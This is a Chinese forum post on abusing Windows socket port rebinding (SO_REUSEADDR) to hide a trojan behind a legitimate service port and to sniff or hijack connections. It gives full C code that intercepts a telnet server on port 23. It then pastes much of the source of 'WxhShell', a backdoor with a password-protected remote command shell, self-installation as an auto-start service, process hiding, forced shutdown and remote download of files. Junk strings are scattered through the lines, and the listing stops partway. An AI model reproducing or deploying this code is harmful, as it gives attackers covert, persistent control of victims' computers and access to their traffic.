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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: F,2)Udim  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N?!]^jI,  
Xg>nb1e  
  saddr.sin_family = AF_INET; F@e9Dz|  
0@w8,x  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); gg ;&a(  
_M n7zt1^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); I[|5 DQ  
MCN}p i  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 w6 C0]vh  
* b+ef  
  这意味着什么?意味着可以进行如下的攻击:  /[f9Z:>V  
'J+dTs ;0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %E q} H  
y8T%g(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) s&vREx(  
cx?XJ)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?m3,e&pB5  
JTu^p]os?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #R&D gt  
NP%Y\%;l6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _8$arjx=  
STMc@MeZU_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 BU|=`Kb|))  
NUVFG;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 DgOO\  
Gi})*U]P|  
  #include 0)/L+P5  
  #include ^6=y4t=%F  
  #include AH$D./a  
  #include    _97A9wHj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "F/%{0d  
  int main() 7hPiPv  
  { Ii"h:GY;\  
  WORD wVersionRequested; |/,XdTSy  
  DWORD ret; Yj+p^@{S2P  
  WSADATA wsaData; BD6oN]  
  BOOL val; @ToY,@]e  
  SOCKADDR_IN saddr; V4]t=3>  
  SOCKADDR_IN scaddr; W0GDn  
  int err; Ogp Zwwk  
  SOCKET s;  b,] QfC  
  SOCKET sc; .W _'6Q+  
  int caddsize; s!* m^zx  
  HANDLE mt; }G,PUjg_^3  
  DWORD tid;   ,DUD4 [3  
  wVersionRequested = MAKEWORD( 2, 2 ); v8Ga@*  
  err = WSAStartup( wVersionRequested, &wsaData ); j2A Z.s  
  if ( err != 0 ) { |E/r64T  
  printf("error!WSAStartup failed!\n"); `w@8i[2J  
  return -1; &)4#0L4  
  } E! '|FJ  
  saddr.sin_family = AF_INET; X 4\  
   1"pvrX}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3 o=R_%r  
@J"Gn-f~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^m ^4LDt  
  saddr.sin_port = htons(23); }GV5':W@WG  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kk6Af\NZ  
  { qx,>j4y w  
  printf("error!socket failed!\n"); j9FG)0  
  return -1; iYwzdW1  
  } <Sm@ !yx  
  val = TRUE; Fk01j;k.H  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 49vKb(bz{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Jw;Tq"&  
  { '6Lw<#It  
  printf("error!setsockopt failed!\n"); ] B ZSW  
  return -1; \.m"u14[b  
  } : b9X?%L~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Li[ :L  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0s>ozAJ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 l] -mdq/C  
l42 3+vo  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5Oh>rK(  
  { Uy  $1X  
  ret=GetLastError(); <Lz/J-w  
  printf("error!bind failed!\n"); fO6i  
  return -1; Pc"g  
  } 8UY[$lc  
  listen(s,2); |Nx7jGd:i  
  while(1) Tf [o'=2  
  { #^|"dIZ_M  
  caddsize = sizeof(scaddr); vumA W*  
  //接受连接请求 "UUzLa_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;JQ:S~K9  
  if(sc!=INVALID_SOCKET) q]}fW)r  
  { ;onhc*{lv  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i7N|p9O.  
  if(mt==NULL) qX,T X 3  
  { z"[}Sk  
  printf("Thread Creat Failed!\n"); l_Ee us  
  break; (MfPu8j  
  } O7&6]/`  
  } B.O &KRo  
  CloseHandle(mt); W|NT*g{;M  
  } a!iG;:K   
  closesocket(s); ){~]-VK  
  WSACleanup(); %d3KE|&u  
  return 0; )zU bMzF  
  }   IEbk_-h[  
  DWORD WINAPI ClientThread(LPVOID lpParam) E'_3U5U  
  { ?<mxv"  
  SOCKET ss = (SOCKET)lpParam; }q-*Ls~  
  SOCKET sc; =8Bq2.nlR  
  unsigned char buf[4096]; Sz z:$!t  
  SOCKADDR_IN saddr; <$H-/~Y  
  long num; X,+M?  
  DWORD val; HN7C+e4U~  
  DWORD ret; X:3W9`s )*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 s2`:NS  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9d5|rk8VS  
  saddr.sin_family = AF_INET; ;gE]*Y.Z.p  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ak_&\'P  
  saddr.sin_port = htons(23); S.^/Cl;aj  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) El9D1],  
  {  ' ];|  
  printf("error!socket failed!\n"); 5Vq&w`sW  
  return -1; vz{Z tE"  
  } =Fu~ 0Wc  
  val = 100; m+Um^:\jX  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {`X O3  
  { ;:)1:Dy5  
  ret = GetLastError(); f9ziSD#  
  return -1; [ \41  
  } 71)DLGL  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) oQsls9t  
  { Vdpvo;4uy  
  ret = GetLastError(); 'f'zV@)  
  return -1; @d/Wa=K  
  } R:[IH2F s  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #KFpT__F  
  { oZ CvEVUk  
  printf("error!socket connect failed!\n"); ,)u7PMs  
  closesocket(sc); ZKk*2EK]2z  
  closesocket(ss); ysHmi{V~  
  return -1; /E%r@Rui3$  
  } Uu}a! V  
  while(1) .66_g@1  
  { ,p3moD 3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 TmH'_t.*T~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 h#EksX  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -n>JlfCd2  
  num = recv(ss,buf,4096,0); n91@{U)QJ3  
  if(num>0) 3M@!?=| U  
  send(sc,buf,num,0); \H6[6*JuB  
  else if(num==0) w%Bo7 'o)V  
  break; JsDugn ,B  
  num = recv(sc,buf,4096,0); ~WKcO&  
  if(num>0) 8i?Hh?Mf}  
  send(ss,buf,num,0); I"_``*/1  
  else if(num==0)  o(q][:,h  
  break; >}?4;:.=  
  } i!tF{'*%#  
  closesocket(ss); 0Na/3cz|zg  
  closesocket(sc); [Y%H8}  
  return 0 ; Q*GJREC  
  } L)mb.U$`c|  
KcW]"K>p!  
sy s6 V?  
========================================================== Z2.S:y.  
v[}g+3a  
下边附上一个代码,,WXhSHELL ~8htg8CZ`  
/-mo8]J#2~  
========================================================== yn;sd+:z  
6q8b>LG|  
#include "stdafx.h" N8-!}\,  
X-mhz3Q&a  
#include <stdio.h> L{i,.aE/nO  
#include <string.h> 0>aAI3E  
#include <windows.h> lY,dyNFHV  
#include <winsock2.h> en1NFP  
#include <winsvc.h> Kx@Papn|6  
#include <urlmon.h> w4"4(SR.  
/HiRbwQK#  
#pragma comment (lib, "Ws2_32.lib") 9pPohR*#V  
#pragma comment (lib, "urlmon.lib") ,[j'OyR  
;`(l)X+7  
#define MAX_USER   100 // 最大客户端连接数 'T_Vm%\)  
#define BUF_SOCK   200 // sock buffer Zd Li<1P*d  
#define KEY_BUFF   255 // 输入 buffer 1638U 1  
HpQuro'Qh  
#define REBOOT     0   // 重启 tsqkV7?  
#define SHUTDOWN   1   // 关机 XXe?@w2{  
2y"|l  
#define DEF_PORT   5000 // 监听端口 BPH-g\q  
r^2>60q'  
#define REG_LEN     16   // 注册表键长度 qa!3lb_'M  
#define SVC_LEN     80   // NT服务名长度 cc %m0p  
u ]!ZW&  
// 从dll定义API yH:gFEJ:x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QsN%a>t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ov@N13 ,$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Sj`GP p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;n"Nv }<C  
$7~T+fmF  
// wxhshell配置信息 3EHn}#+U  
struct WSCFG { c8"9Lv  
  int ws_port;         // 监听端口 7: cmBkXm  
  char ws_passstr[REG_LEN]; // 口令 th 9I]g^=t  
  int ws_autoins;       // 安装标记, 1=yes 0=no g`69 0  
  char ws_regname[REG_LEN]; // 注册表键名 Y#A0ud,  
  char ws_svcname[REG_LEN]; // 服务名 P*\h)F/3}t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T`?{Is['(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }0%~x,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Fhr5)Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SCUsDr+.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &E(KOfk#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^#Ruw?D  
n!Dy-)!`O  
}; IL\2?(&Z  
1J tt\yq  
// default Wxhshell configuration  r*gQGvc  
struct WSCFG wscfg={DEF_PORT, z(yJ/~m  
    "xuhuanlingzhe", [RqL0EP  
    1, Z^'i16  
    "Wxhshell", yGN2/>]  
    "Wxhshell", [ BpZ{Ql  
            "WxhShell Service", jEkO #xI  
    "Wrsky Windows CmdShell Service", |v[0(  
    "Please Input Your Password: ", /&`sB|  
  1, f=f8) +5  
  "http://www.wrsky.com/wxhshell.exe", pm.Zc'23  
  "Wxhshell.exe" x?*)  
    }; *nj={Ss&  
(#t"u`_Ee  
// 消息定义模块 eMDO;q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5ml#/kE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YaWZOuxm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e{*-_j "I  
char *msg_ws_ext="\n\rExit."; #KOr-Yg|U  
char *msg_ws_end="\n\rQuit."; LZ ?z5U:  
char *msg_ws_boot="\n\rReboot..."; *G6Py,- !f  
char *msg_ws_poff="\n\rShutdown..."; Vo@gxC,  
char *msg_ws_down="\n\rSave to "; ^V1iOf:  
xlW`4\ Pa  
char *msg_ws_err="\n\rErr!"; @5i m*ubzM  
char *msg_ws_ok="\n\rOK!"; 2^\67@9  
S*5hO) C  
char ExeFile[MAX_PATH]; bJ$6[H-:  
int nUser = 0; oXQzCjX_   
HANDLE handles[MAX_USER]; R'#1|eWCa  
int OsIsNt; cU+% zk  
iFypKpHg~  
SERVICE_STATUS       serviceStatus; \bc ob8u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ks}J ke>  
bGO[P<<  
// 函数声明 &m8#^]*  
int Install(void); Tgf#I*(^]  
int Uninstall(void); G1vg2'A  
int DownloadFile(char *sURL, SOCKET wsh); FM80F_G^z  
int Boot(int flag); )$.::[pNA  
void HideProc(void); .d4L@{V  
int GetOsVer(void); 9;L5#/E  
int Wxhshell(SOCKET wsl); fs:%L  
void TalkWithClient(void *cs); \9Z1'W  
int CmdShell(SOCKET sock); pr;z>|FgA>  
int StartFromService(void); &N`s@Ka  
int StartWxhshell(LPSTR lpCmdLine); a___SYl 'K  
\fk%^1XY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 91Fx0(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6 G^x%s  
Rfk8trD B  
// 数据结构和表定义 O/|,rAE  
SERVICE_TABLE_ENTRY DispatchTable[] = (pU@$H  
{ 3 W%Bsqn  
{wscfg.ws_svcname, NTServiceMain}, i$[wkQ>$  
{NULL, NULL} Al 0 i{.V  
}; '#;%=+=;  
;$\?o  
// 自我安装 KliMw*5(  
int Install(void) "IjCuR;#  
{ %YH+=b:uW  
  char svExeFile[MAX_PATH]; npj_i /&g  
  HKEY key; 8n[6BF);  
  strcpy(svExeFile,ExeFile); W`qiPLk  
e\[z Q 2Z3  
// 如果是win9x系统,修改注册表设为自启动 E/OJ}3Rf  
if(!OsIsNt) { -$; h+9BO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b,k%n_&n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rmzM}T\20  
  RegCloseKey(key); Ub(8ko:8$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -Tzp;o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {#Lj,o  
  RegCloseKey(key); LhfI"fc  
  return 0; na5:)j4<  
    } j.b7<Vr4;  
  } s%{8$> 8V.  
} "RkbT O  
else { HkP')= sa  
n' XvPV|  
// 如果是NT以上系统,安装为系统服务 D^[}:O{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C0eqC u)Q  
if (schSCManager!=0) YV6@SXy  
{ "<e<0::  
  SC_HANDLE schService = CreateService E!,+#%O>  
  ( B5nzkJV<X  
  schSCManager, qG=>eRR  
  wscfg.ws_svcname, 9L"Z ~CUL  
  wscfg.ws_svcdisp, wa #$9p~Q  
  SERVICE_ALL_ACCESS, fpDx)lQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P$ a `8~w  
  SERVICE_AUTO_START, :3uCW1  
  SERVICE_ERROR_NORMAL, ;x|E}XD  
  svExeFile, `YK2hr  
  NULL, WRq:xDRn0  
  NULL, .[@TC@W  
  NULL, R>r@I_  
  NULL, ~_!lx  
  NULL -=tf)  
  ); /uh?F  
  if (schService!=0) ']bpsn  
  { 6;O fh   
  CloseServiceHandle(schService); \NiW(!Z}  
  CloseServiceHandle(schSCManager); Ew&pwsQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zQ&k$l9  
  strcat(svExeFile,wscfg.ws_svcname); MR) *Xh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k2"DFXsv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ??'>kQ4  
  RegCloseKey(key); ;2NJkn9t  
  return 0; 0TDc Q  
    } L,(H(GeX  
  } B8f BX!u/  
  CloseServiceHandle(schSCManager); 5$<\  
} sDylSYq  
} ut<0-  
i gyTvt!  
return 1; r I-A)b4  
} )&nfV5@"  
GG9YAu  
// 自我卸载 NSsLuM=.  
int Uninstall(void) UdIl5P  
{ z'W8t|m}Pb  
  HKEY key; K;,_P5J%  
P,QI-,  
if(!OsIsNt) { y7x&/2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tK|jh  
  RegDeleteValue(key,wscfg.ws_regname); pX\Y:hCug  
  RegCloseKey(key); *_qW;l7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1TOT}h5  
  RegDeleteValue(key,wscfg.ws_regname); ! H^,p$`[i  
  RegCloseKey(key); 5t,W'a_  
  return 0; +1te8P*  
  } O/?Lk*r  
} $ykujyngS4  
} &=KNKE`  
else { Hv>16W$_  
*-zOQ=Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ".Z1CBM(  
if (schSCManager!=0) <kmH^ viX  
{ (=T%eJ61  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K KCzq |  
  if (schService!=0) {mkD{2)KQ  
  { dR^7d _!  
  if(DeleteService(schService)!=0) { }.L\O]~{  
  CloseServiceHandle(schService); pPa3byWf  
  CloseServiceHandle(schSCManager); G1X${x7  
  return 0; !"G|y4O  
  } VbwB<nQl  
  CloseServiceHandle(schService); 1-h"1UN2E  
  } e[>c>F^  
  CloseServiceHandle(schSCManager); *(?tf{  
} T> !Y-e.q  
} /qKO9M5A  
y3,'1^lA  
return 1; q2 pq~LI  
} :c_>(~  
Z{MR#.I  
// 从指定url下载文件 LGau!\  
int DownloadFile(char *sURL, SOCKET wsh) $GMva}@G`  
{ (59u<F  
  HRESULT hr; u>K(m))5W3  
char seps[]= "/"; Im<i.a <`  
char *token; RqONVytx  
char *file; iB1+4wa  
char myURL[MAX_PATH]; "u H VX|`  
char myFILE[MAX_PATH]; :/.SrkN(A7  
.?Pghqq.  
strcpy(myURL,sURL); e2}5< 7  
  token=strtok(myURL,seps); 4GL-3e  
  while(token!=NULL) FxkxV GZ"  
  { JM& :dzyIP  
    file=token; Z ZMz0^V  
  token=strtok(NULL,seps); tn\PxT  
  } KysJ3G.k\  
)J"*[[e  
GetCurrentDirectory(MAX_PATH,myFILE); >$g+Gx\v4  
strcat(myFILE, "\\"); |)4aIa  
strcat(myFILE, file); TA~FP#.  
  send(wsh,myFILE,strlen(myFILE),0); .*x |TPv{  
send(wsh,"...",3,0); (Cc!Iw'0M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `1hM3N.nO  
  if(hr==S_OK) nXg:lCI-uu  
return 0; @ uF$m/g  
else x+%(z8wD  
return 1; l)d(N7HME  
x =7qC#+)  
} W pdn^=dhL  
1B5 ]1&M  
// 系统电源模块 zG|#__=T  
int Boot(int flag)  d.)%C]W{  
{ CkHifmc(u-  
  HANDLE hToken; X`+8r O[  
  TOKEN_PRIVILEGES tkp; ^T.icSxP  
8Q*477=I  
  if(OsIsNt) { k7R}]hq]""  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n6 VX0R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); in[yrqFb7t  
    tkp.PrivilegeCount = 1; x3QQ`w-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bo]= *  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "A>/m"c]*  
if(flag==REBOOT) { %"C%pA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;r1.Uz(  
  return 0; NmH:/xU?^  
} oE;SZ"$ x  
else { d$;1%rRj8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v< Ozr:lL  
  return 0; |#Q4e51H  
} #% 1|$V*:  
  } /ll2lyS+  
  else { o=}vK[0u  
if(flag==REBOOT) {  yf/c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vr$zYdV>  
  return 0; sT;:V  
} !ot$Q  
else { ?%]?#4bkc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mD]^a;U[X  
  return 0; 8euh]+  
} O\5q_>]  
} ?04$1n:  
WNa#X]*E)  
return 1; /DC\F5 G  
} X^% E"{!nU  
$&@etsW0/  
// win9x进程隐藏模块 %ylpn7I\6  
void HideProc(void) m`Dn R`+  
{ Nm;V9*5  
>7Y6NAwY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l(fStpP  
  if ( hKernel != NULL ) hj*Fn  
  { <8?jn*$;\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2\'5LL3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;'fn{j6C  
    FreeLibrary(hKernel); @:M?Re`L  
  } |E7)s;}D  
nWzGb2Y  
return; uA1DTr?z  
} @0qDhv s  
by{ *R  
// 获取操作系统版本 ~|!f6=  
int GetOsVer(void) mz<wYV*  
{ QN'v]z  
  OSVERSIONINFO winfo; ZBf9Upg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *9?T?S|^$F  
  GetVersionEx(&winfo); (F.vVldBy  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ja Ot"iU.B  
  return 1; 2{gd4Kt6.  
  else d$O)k+j  
  return 0; [-pB}1Dxb  
} 3L5o8?[  
}aJK^>^>A  
// 客户端句柄模块 xdV $dDCT  
int Wxhshell(SOCKET wsl) !arTR.b\  
{ f[;l7  
  SOCKET wsh; M)T{6 w  
  struct sockaddr_in client; +'{@Xe}  
  DWORD myID; +P//p$pE  
Z7@~#)3  
  while(nUser<MAX_USER) 45DR%cz  
{ w*-1*XNA  
  int nSize=sizeof(client); \@eC^D2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .:(N1n'>1  
  if(wsh==INVALID_SOCKET) return 1; ]B'H(o R<|  
j}dev pO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); VJ'bS9/T  
if(handles[nUser]==0) N:yyDeGyW  
  closesocket(wsh); H5 'Le{  
else ?\J.Tv $$$  
  nUser++; Pqc +pE  
  } ;[[GA0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (9X>E+0E  
`;OEdeAM  
  return 0; _hy<11S;  
} O:>9yZhV  
x.:k0;%Q  
// 关闭 socket R{hq1-  
void CloseIt(SOCKET wsh) 9" RGf 1]  
{ Jc74A=sT  
closesocket(wsh); U if61)+!i  
nUser--; Q x]zz4jD  
ExitThread(0); dreEes`|  
} 6?X)'  
u3XQ<N{Gj  
// 客户端请求句柄 faJ>,^V#  
void TalkWithClient(void *cs) N!hS`<}  
{ G;CB%qXI  
F]"Hs>  
  SOCKET wsh=(SOCKET)cs; lbg^ 2|o~~  
  char pwd[SVC_LEN]; nP+]WUnY  
  char cmd[KEY_BUFF]; zs_^m1t1s  
char chr[1]; ,aLdW,<6  
int i,j; 0k7kmDW  
~=pAy>oV  
  while (nUser < MAX_USER) { #!n"),3  
VSJ08Ngi   
if(wscfg.ws_passstr) { 5{@Hpj/B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xr<.r4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  K#LG7faj  
  //ZeroMemory(pwd,KEY_BUFF); RlH~<|XK  
      i=0; XJ.ERLR.  
  while(i<SVC_LEN) { .bT|:Q~@{  
H |K}m,g  
  // 设置超时 =%Yw;% 0)Y  
  fd_set FdRead; YhzDi>hob  
  struct timeval TimeOut; w=txSF&Qr  
  FD_ZERO(&FdRead); '/@] V  
  FD_SET(wsh,&FdRead); t;~H6  
  TimeOut.tv_sec=8; tHj |_t  
  TimeOut.tv_usec=0; >[U.P)7;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ny,a5zEnF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^:yg,cS|Be  
pOz4>R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pSLv1d"9{  
  pwd=chr[0]; D#~S< >u@  
  if(chr[0]==0xd || chr[0]==0xa) { <g^!xX<r?  
  pwd=0; Owa]ax5  
  break; 3?"JFfYU,'  
  } Y8fahQ#  
  i++; ZMVQo -=  
    } o@d+<6Um  
[9O,C-Mk  
  // 如果是非法用户,关闭 socket xzRs;AXOp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2EdKxw3$]  
} 96&Y  
i7m=V T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R4R SXV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VgSk\:t  
#1v>3H(  
while(1) { N]k(8K  
^uy2qO4Yw  
  ZeroMemory(cmd,KEY_BUFF); qU1^ K  
&Vtgh3I  
      // 自动支持客户端 telnet标准   oo:(GfO}  
  j=0; d/Z258  
  while(j<KEY_BUFF) { ?xTh}Sky  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,3zF_y(*Y  
  cmd[j]=chr[0]; A/xWe  
  if(chr[0]==0xa || chr[0]==0xd) { OEkx}.w  
  cmd[j]=0; aC&ZV}8of  
  break; zP|y3`. 52  
  } <KFE.\*Z4  
  j++; -UPlQL  
    } 3]X9 z  
Jhyb{i8RR  
  // 下载文件 G|p3NhLgO=  
  if(strstr(cmd,"http://")) { ~4Gs\U:!Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MWHGB")J  
  if(DownloadFile(cmd,wsh)) nA\9UD<G.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4l2xhx  
  else es` A<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tu'/XUs;k  
  } p:hzLat~  
  else { nVTCbV  
kJJUu  
    switch(cmd[0]) { n>w/T"  
  WG{mg/\2(C  
  // 帮助 ]J t8]w  
  case '?': { 4<['%7U_[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2ja@NT  
    break; M =!RJ%6f  
  } u7e g:0Y  
  // 安装 e*Gm()Vu,  
  case 'i': { e$E~@{[1)  
    if(Install()) (X rrnoz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Q#eu~R  
    else 6!,Am^uXM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JYbE(&l%de  
    break; 0RLyAC|  
    } Rv)!p~V8  
  // 卸载 aN.t) DG}J  
  case 'r': { {ZS-]|Kx  
    if(Uninstall()) $Yr'`(Cbc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XcS 8{  
    else PC_#kz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r~sx] =/  
    break; m})q8b!S  
    } z|Hc=AU8y  
  // 显示 wxhshell 所在路径 J {gqm  
  case 'p': { 7-oH >OF^  
    char svExeFile[MAX_PATH]; xb!h?F&  
    strcpy(svExeFile,"\n\r"); n.{+\M6k  
      strcat(svExeFile,ExeFile); |EJ&s393&  
        send(wsh,svExeFile,strlen(svExeFile),0); )V^J^1  
    break; !9!kb  
    } XIu3n9g^#  
  // 重启 qIwI]ub~  
  case 'b': { o b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {(7D=\eU  
    if(Boot(REBOOT)) No)v&P%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cJ G><'  
    else { U}xQUFT|  
    closesocket(wsh); !@ml^&hP  
    ExitThread(0); 5q`d=L,  
    } g8yWFqE!T  
    break;  8@)/a  
    } -R,[/7zj  
  // 关机 APT'2 -I_  
